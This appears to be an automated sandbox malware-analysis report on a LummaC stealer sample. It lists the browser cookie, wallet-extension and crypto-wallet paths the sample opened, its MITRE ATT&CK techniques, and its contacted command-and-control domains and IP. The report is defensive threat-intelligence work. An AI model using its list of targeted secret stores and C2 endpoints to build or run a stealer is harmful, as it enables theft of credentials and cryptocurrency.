Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: LwnI84BBtb.exe PID: 7396, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	11 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LwnI84BBtb.exe	41%	Virustotal		Browse
LwnI84BBtb.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
strollheavengwu.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
tolerateilusidjukl.shop	1%	Virustotal		Browse
incredibleextedwj.shop	1%	Virustotal		Browse
shortsvelventysjo.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/api	11%	Virustotal		Browse
liabilitynighstjsko.shop	1%	Virustotal		Browse
shatterbreathepsw.shop	1%	Virustotal		Browse
demonstationfukewko.shop	1%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse
alcojoldwograpciw.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/	1%	Virustotal		Browse
https://strollheavengwu.shop:443/api	11%	Virustotal		Browse
strollheavengwu.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	104.21.15.198	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	1%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://strollheavengwu.shop/api	false	11%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
strollheavengwu.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z	LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/9	LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B05000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop:443/api	LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1752809021.0000000001B08000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001A7C000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.15.198	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429106
Start date and time:	2024-04-20 22:06:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LwnI84BBtb.exe renamed because original name is a hash value
Original Sample Name:	49293c745f0fd48ab2784cad7cc5a0ac.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 38 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:06:57	API Interceptor	8x Sleep call for process: LwnI84BBtb.exe modified
22:07:22	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.15.198	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	KvS2rT08PQ.exe	Get hash	malicious	Blank Grabber, Njrat, Umbral Stealer	Browse	104.26.0.5
	SecuriteInfo.com.Win64.Malware-gen.26781.23689.exe	Get hash	malicious	Unknown	Browse	104.21.81.28
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	2M1NS61GG8.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	172.67.129.243
	RrHuyQ4GzG.exe	Get hash	malicious	LummaC	Browse	104.21.86.106
	https://track.enterprisetechsol.com/z.z?l=aHR0cHM6Ly9yZXNvdXJjZS5pdGJ1c2luZXNzdG9kYXkuY29tL3doaXRlcGFwZXJzLzQ0ODAzLU1pY3Jvc29mdC1DUEwtUTItUE1HLUFCTS1HZXItMS1sYW5kaW5nLnBocD9lPWJvbnVjY2VsbGkuZGFyaW9AZGVtZS1ncm91cC5jb20=&r=14547470367&d=12037165&p=1&t=h&h=fb97401a549b1167a78f6002a0aef94d	Get hash	malicious	Unknown	Browse	172.67.74.40
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.4.208

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	hta.hta	Get hash	malicious	Unknown	Browse	104.21.15.198
	2M1NS61GG8.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.21.15.198
	RrHuyQ4GzG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	SecuriteInfo.com.Win32.Malware-gen.6467.28521.exe	Get hash	malicious	Unknown	Browse	104.21.15.198
	SecuriteInfo.com.Win32.Malware-gen.6467.28521.exe	Get hash	malicious	Unknown	Browse	104.21.15.198

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LwnI84BBtb.exe_1ea81470fde93d5ba9982c97d6c51c12dc70cc0_19912bd0_209de206-4fdf-4734-8956-4504ba2af95f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
